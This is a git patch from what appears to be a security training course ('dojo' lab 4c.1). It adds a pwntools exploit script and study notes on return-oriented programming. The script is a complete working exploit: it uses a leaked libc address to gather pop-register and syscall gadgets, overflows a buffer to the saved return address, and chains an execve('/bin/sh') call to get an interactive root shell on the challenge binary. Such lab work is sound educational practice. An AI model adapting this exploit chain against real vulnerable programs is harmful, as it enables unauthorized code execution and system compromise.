From 25af72c53e38b5aa605b6a8d0e0217ca96ce0415 Mon Sep 17 00:00:00 2001 From: Kaushik Narayan R Date: Thu, 31 Oct 2024 22:09:04 -0700 Subject: [PATCH] lab 4c.1 - return oriented programming --- 4c.1/lab4c_1.py | 108 ++++++++++++++++++++++++++++++++++++++++++++++++ Dojo Notes.md | 17 ++++++++ 2 files changed, 125 insertions(+) create mode 100644 4c.1/lab4c_1.py diff --git a/4c.1/lab4c_1.py b/4c.1/lab4c_1.py new file mode 100644 index 0000000..9599035 --- /dev/null +++ b/4c.1/lab4c_1.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template /challenge/run +from pwn import * + +# Set up pwntools for the correct architecture +exe = context.binary = ELF(args.EXE or '/challenge/run') + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR + + + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +tbreak main +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: No RELRO +# Stack: No canary found +# NX: NX enabled +# PIE: No PIE (0x400000) + +io = start() + +# first, libc address is provided +io.recvuntil(b"at: ") +libc_addr = int(io.recvline().strip(), 16) +print("Libc is at:", libc_addr) + +# now, load libc +libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6") +libc_rop = ROP(libc_elf) + +## 1.1 find string - /bin/sh +bin_sh = next(libc_elf.search(b"/bin/sh")) # relative position +bin_sh += libc_addr # absolute address + +## 1.2 pop rdi, ret +# libc_rop.rdi = 0x0 +pop_rdi_gadget = libc_rop.find_gadget(['pop rdi', 'ret'])[0] # this address is relative to libc start +pop_rdi_gadget += libc_addr + +## 2.1 zero can be loaded onto stack directly (? null byte?) + +## 2.2 pop rdx, ret +# pop_rdx_gadget = libc_rop.find_gadget(['pop rdx', 'ret'])[0] +## exact gadget not found, just let pwn work its magic +## finds a gadget with an added pop r12, inconsequential +# libc_rop.rdx = 0x0 +## so lets just assume we use this +pop_rdx_gadget = libc_rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0] +pop_rdx_gadget += libc_addr + +## 3.1 zero can be loaded onto stack directly (? null byte?) + +## 3.2 pop rsi, ret +# libc_rop.rsi = 0x0 +pop_rsi_gadget = libc_rop.find_gadget(['pop rsi', 'ret'])[0] +pop_rsi_gadget += libc_addr + +## 4.1 0x3b can be loaded onto stack directly + +## 4.2 pop rax, ret +# libc_rop.rax = 0x3b +pop_rax_gadget = libc_rop.find_gadget(['pop rax', 'ret'])[0] +pop_rax_gadget += libc_addr + +## 5. syscall +syscall_gadget = libc_rop.find_gadget(['syscall'])[0] +syscall_gadget += libc_addr + +# print(libc_rop.dump()) + +# payload padding +unbound_buffer = 0x7fffa6d1e910 +saved_rip = 0x7fffa6d1e958 +offset = saved_rip-unbound_buffer +payload_padding = b'F' * offset # pad until saved_rip + +payload = payload_padding + \ + p64(pop_rdi_gadget) + p64(bin_sh) + \ + p64(pop_rdx_gadget) + p64(0) + p64(0) + \ + p64(pop_rsi_gadget) + p64(0) + \ + p64(pop_rax_gadget) + p64(0x3b) + \ + p64(syscall_gadget) + +io.send(payload) + +# root shell obtained +io.interactive() diff --git a/Dojo Notes.md b/Dojo Notes.md index 97117c5..93341a5 100644 --- a/Dojo Notes.md +++ b/Dojo Notes.md @@ -491,3 +491,20 @@ done - so we need to put our shellcode after this saved RIP's location - that way, when the current function returns into the target function, the target function's RSP will point to the shellcode - boom + +### lab 4c.1 - rop + +- buffer overflow vuln, but NX is enabled on stack +- ROP time +- we need: + - location of a string "/bin/sh" in rdi (path) + - 0 in rdx (argv) + - 0 in rsi (envp) + - 0x3b in rax (execve) + - finally run syscall +- ASLR is enabled, but program gives us the address of libc +- from pwn, we have ROP(ELF(libc.so path)) to get ROP gadgets from libc + - other tools exist, like ROPGadget.py, one_gadget, ropium +- find necessary gadgets and args + - some might not exist in the exact form required, maybe some baggage is attached, or a roundabout way is needed (xor instead of directly loading, etc) +- boom